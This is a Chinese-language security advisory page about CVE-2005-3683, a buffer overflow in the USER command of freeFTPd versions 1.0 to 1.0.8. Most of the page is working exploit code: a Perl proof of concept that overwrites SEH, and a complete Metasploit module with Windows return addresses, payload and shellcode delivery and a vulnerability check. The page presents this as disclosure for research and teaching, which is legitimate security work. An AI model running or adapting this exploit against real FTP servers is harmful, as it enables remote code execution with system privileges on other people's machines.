安全研究
安全漏洞
FreeFTPD用户命令溢出漏洞
发布日期:2005-11-16
更新日期:2005-11-21
受影响系统:
freeFTPd freeFTPd 1.0.8描述:
freeFTPd freeFTPd 1.0.7
freeFTPd freeFTPd 1.0.6
freeFTPd freeFTPd 1.0.5
freeFTPd freeFTPd 1.0.4
freeFTPd freeFTPd 1.0.3
freeFTPd freeFTPd 1.0.2
freeFTPd freeFTPd 1.0.1
freeFTPd freeFTPd 1.0
BUGTRAQ ID: 15457
CVE(CAN) ID: CVE-2005-3683
FreeFTPd是一款基于WeOnlyDo FTP/SFTP实现的免费FTP+SSL/SFTP服务器。
由于没有正确的验证用户输入导致FreeFTPd中存在缓冲区溢出漏洞。成功利用这个漏洞的攻击者可以导致服务器崩溃,或以系统权限执行任意代码。
<*来源:mutsonline (barbsie@gmail.com)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#freeftpd USER buffer overflow
#barabas - 2005
use strict;
use Net::FTP;
my $user="\x41"x1011;
$user .="\x44\x45\x46\x47";#overwrite SEH
$user .="\x50"x400;
my $ftp = Net::FTP->new("www.example.com <http://www.example.com>", Debug =>
1);
$ftp->login("$user","whatevah");
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::freeftpd_user;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'freeFTPd USER Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'y0 [at] w00t-shell.net', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 21],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'AutoOpts' => { 'EXITFUNC' => 'process' },
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x20\x0a\x0d",
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
'Keys' => ['+ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the freeFTPd
multi-protocol file transfer service. This flaw can only
be exploited when logging has been enabled (non-default).
}),
'Refs' => [
['URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2005-November/038808.html'],
],
'Targets' => [
['Windows 2000 English ALL', 0x75022ac4],
['Windows XP Pro SP0/SP1 English', 0x71aa32ad],
['Windows NT SP5/SP6a English', 0x776a1799],
['Windows 2003 Server English', 0x7ffc0638],
],
'Keys' => ['ftp'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Check {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}
$s->Send("QUIT\r\n");
my $res = $s->Recv(-1, 20);
$s->Close();
if ($res !~ /freeFTPd 1\.0/) {
$self->PrintLine("[*] This server does not appear to be vulnerable.");
return $self->CheckCode('Safe');
}
$self->PrintLine("[*] Vulnerable installation detected :-)");
return $self->CheckCode('Detected');
}
sub Exploit
{
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}
my $splat = Pex::Text::EnglishText(1008);
my $sploit =
$splat. "\xeb\x06". pack('V', $target->[1]).
$shellcode. "\r\n";
$self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$s->Send("USER ". $sploit);
$self->Handler($s);
$s->Close();
return;
}
1;
建议:
厂商补丁:
freeFTPd
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://freeftpd[dot]com/
浏览次数:4192
严重程度:0(网友投票)
绿盟科技给您安全的保障
